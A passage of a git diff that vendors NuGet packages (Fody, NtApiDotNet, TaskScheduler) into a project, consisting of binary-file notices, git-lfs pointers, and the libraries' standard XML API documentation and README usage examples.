b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyIsolated.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyTasks.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyTasks.dll new file mode 100644 index 0000000..e82e361 Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyTasks.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.dll new file mode 100644 index 0000000..e748d13 Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.pdb b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.pdb new file mode 100644 index 0000000..7c732ca Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.pdb differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.dll new file mode 100644 index 0000000..81b715a Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.pdb b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.pdb new file mode 100644 index 0000000..ce50c05 Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.pdb differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.dll new file mode 100644 index 0000000..cceefda Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.pdb b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.pdb new file mode 100644 index 0000000..7d38481 Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.pdb differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyCommon.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyCommon.dll new file mode 100644 index 0000000..e6b1c94 Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyCommon.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.dll new file mode 100644 index 0000000..59a1245 Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml new file mode 100644 index 0000000..958b7bf --- /dev/null +++ b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml @@ -0,0 +1,293 @@ + + + + FodyHelpers + + + + + Base class for module weavers. + + + + + The full element XML from FodyWeavers.xml. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with level + + + + + Handler for writing a log entry at a specific level. + + + + + Write a warning to MSBuild. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Handler for writing a warning. + + + + + Handler for writing a warning at a specific point in the code + + + + + Write an error to MSBuild. + + + + + Write an error to MSBuild and use for the file and line information. + + + + + Write a error to MSBuild and use for the file and line information. + + + + + Handler for writing an error. + + + + + Handler for writing an error at a specific point in the code. + + + + + Handler for resolving s. + + + + + The current s. + + + + + An instance of for processing. + + + + + Commonly used s. + + + + + The full path of the target assembly. + + + + + The full directory path of the target project. + A copy of $(MSBuildProjectDirectory). + + + + + The full file path of the target project. + A copy of $(MSBuildProjectFullPath). + + + + + The full directory path of the XML documentation file, + if generating the documentation file is enabled in the project. + A copy of @(DocFileItem->'%(FullPath)'). + + + + + The full directory path of the current weaver. + + + + + The full directory path of the current solution. + A copy of `$(SolutionDir)` or, if it does not exist, a copy of `$(MSBuildProjectDirectory)..\..\..\`. OPTIONAL + + + + + A semicolon delimited string that contains + all the references for the target project. + A copy of the contents of the @(ReferencePath). + + + + + A list of all the references marked as copy-local. + A copy of the contents of the @(ReferenceCopyLocalPaths). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(ReferenceCopyLocalPaths) list of the current build. + + + + + A list of all the runtime references marked as copy-local. + A copy of the contents of the @(RuntimeCopyLocalItems). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(RuntimeCopyLocalItems) list of the current build. + + + + + A list of all the msbuild constants. + A copy of the contents of the $(DefineConstants). + + + + + Called when the weaver is executed. + + + + + Called when a request to cancel the build occurs. + + + + + Return a list of assembly names for scanning. + Used as a list for . + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Called after all weaving has occurred and the module has been saved. + + + + + Set to true if the reference to an equally named library (same name as this fody addin with the ending ".Fody" trimmed) + should be removed by Fody after a successful execution + + + + + Abstraction for the MSBuild MessageImportance. + + + + + Defaults for when writing to and . + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Decompile assemblies using ildasm.exe. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Verifies assemblies using peverify.exe. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Uses to derive the current directory. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Replacement for . + + + + diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyIsolated.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyIsolated.dll new file mode 100644 index 0000000..dcaf53b Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyIsolated.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyTasks.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyTasks.dll new file mode 100644 index 0000000..b07b910 Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyTasks.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.dll new file mode 100644 index 0000000..46705fe Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.pdb b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.pdb new file mode 100644 index 0000000..50766f8 Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.pdb differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.dll new file mode 100644 index 0000000..4ee9d53 Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.pdb b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.pdb new file mode 100644 index 0000000..837910c Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.pdb differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.dll new file mode 100644 index 0000000..f10dd6a Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.pdb b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.pdb new file mode 100644 index 0000000..a4aed8b Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.pdb differ diff --git a/MiniPlasma/packages/NtApiDotNet.1.1.33/.signature.p7s b/MiniPlasma/packages/NtApiDotNet.1.1.33/.signature.p7s new file mode 100644 index 0000000..958a6ba Binary files /dev/null and b/MiniPlasma/packages/NtApiDotNet.1.1.33/.signature.p7s differ diff --git a/MiniPlasma/packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg b/MiniPlasma/packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg new file mode 100644 index 0000000..d6acbd6 --- /dev/null +++ b/MiniPlasma/packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2baeee20c8f0cd7edadf312062c75bf1128944c0b46e624be6ef5283974c3061 +size 2394328 diff --git a/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll b/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll new file mode 100644 index 0000000..3b2a815 --- /dev/null +++ b/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b6cdae4d257a9d1514f257ef9fcbda10508e87409ba60db8b6b17a84c562d09b +size 2832896 diff --git a/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml b/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml new file mode 100644 index 0000000..99f9110 --- /dev/null +++ b/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b583b09c805ada4d527380a736e14ba6c6ca77a355381bcb9f26a2bea4f1ab6b +size 2580492 diff --git a/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll b/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll new file mode 100644 index 0000000..8557509 --- /dev/null +++ b/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7600888ea1ad6c61d67f1bc221d17e6f5d1d6c88ee4531148241b55a2ec22c79 +size 2832896 diff --git a/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml b/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml new file mode 100644 index 0000000..99f9110 --- /dev/null +++ b/MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b583b09c805ada4d527380a736e14ba6c6ca77a355381bcb9f26a2bea4f1ab6b +size 2580492 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/.signature.p7s b/MiniPlasma/packages/TaskScheduler.2.12.2/.signature.p7s new file mode 100644 index 0000000..7ceb606 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/.signature.p7s differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg b/MiniPlasma/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg new file mode 100644 index 0000000..c2c19df --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d39c82d6e7f366b45053c3f11b512f0ec021d1a0fcf9fe0283478b2edd0b8dd9 +size 2392568 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/TaskService.md b/MiniPlasma/packages/TaskScheduler.2.12.2/TaskService.md new file mode 100644 index 0000000..1580752 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/TaskService.md @@ -0,0 +1,72 @@ +## About +The original and most popular .NET wrapper for the [Windows Task Scheduler](https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page). It provides functionally complete classes that cover all development aspects related to system tasks. + +More information can be found on the [project page on GitHub](https://github.com/dahall/taskscheduler). + +## Support +Below are links to sites that provide in-depth examples, documentation and discussions. Please go here first with your questions as the community has been active for over a decade. +* [Wiki](https://github.com/dahall/TaskScheduler/wiki) - Sample code, library how-to, troubleshooting, etc. +* [API documentation](https://dahall.github.io/TaskScheduler) - Class/method/property documentation and examples +* [Full Issues Log](https://github.com/dahall/TaskScheduler/issues?q=) - Use the search box to see if your question may already be answered. +* [Discussion Forum](https://github.com/dahall/TaskScheduler/discussions) - Users helping users, enhancement requests, Q&A (retired Google forum [here](https://groups.google.com/forum/#!forum/taskscheduler)) +* [Troubleshooting Tool](https://github.com/dahall/TaskSchedulerConfig) - Tool to help identify and fix configuration and connectivity issues. (ClickOnce installer [here](https://github.com/dahall/TaskSchedulerConfig/blob/master/publish/setup.exe?raw=true)) + +## Key Features +Microsoft introduced version 2.0 (internally version 1.2) with a completely new object model with Windows Vista. The managed assembly closely resembles the new object model but allows the 1.0 (internally version 1.1) COM objects to be manipulated. It will automatically choose the most recent version of the library found on the host system (up through 1.4). Core features include: + +* Separate, functionally identical, libraries for .NET 2.0, 3.5, 4.0, 4.52, 5.0, 6.0, .NET Standard 2.0, .NET Core 2.0, 2.1, 3.0, 3.1. +* Unlike the base COM libraries, this wrapper accommodates creating and viewing tasks up and down stream. +* Supports all V2 native properties, even under V1 tasks. +* Maintain EmailAction and ShowMessageAction using PowerShell scripts for systems after Win8 where these actions have been deprecated. +* Supports all action types (not just ExecAction) on V1 systems (XP/WS2003) and earlier (if PowerShell is installed). +* Supports multiple actions on V1 systems (XP/WS2003). Native library only supports a single action. +* Supports serialization to XML for both 1.0 and 2.0 tasks (base library only supports 2.0) +* Supports task validation for targeted version. +* Supports secure task reading and maintenance. +* Fluent methods for task creation. +* Cron syntax for trigger creation. + +The currently supported localizations include: English, Spanish, Italian, French, Chinese (Simplified), German, Polish and Russian. + +## Usage +You can perform several actions in a single line of code: +```C# +// Run a program every day on the local machine +TaskService.Instance.AddTask("Test", QuickTriggerType.Daily, "myprogram.exe", "-a arg"); + +// Run a custom COM handler on the last day of every month +TaskService.Instance.AddTask("Test", new MonthlyTrigger { RunOnLastDayOfMonth = true }, + new ComHandlerAction(new Guid("{CE7D4428-8A77-4c5d-8A13-5CAB5D1EC734}"))); +``` + +For many more options, use the library classes to build a complex task. Below is a brief example of how to use the library from C#. +```C# +using System; +using Microsoft.Win32.TaskScheduler; + +class Program +{ + static void Main() + { + // Get the service on the remote machine + using (TaskService ts = new TaskService(@"\\RemoteServer", "username", "domain", "password")) + { + // Create a new task definition and assign properties + TaskDefinition td = ts.NewTask(); + td.RegistrationInfo.Description = "Does something"; + + // Create a trigger that will fire the task at this time every other day + td.Triggers.Add(new DailyTrigger { DaysInterval = 2 }); + + // Create an action that will launch Notepad whenever the trigger fires + td.Actions.Add(new ExecAction("notepad.exe", "c:\\test.log", null)); + + // Register the task in the root folder. + // (Use the username here to ensure remote registration works.) + ts.RootFolder.RegisterTaskDefinition(@"Test", td, TaskCreation.CreateOrUpdate, "username"); + } + } +} +``` + +For extended examples on how to the use the library, look at the [Examples Page](https://github.com/dahall/TaskScheduler/wiki/Examples). \ No newline at end of file diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..1ea3c29 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The 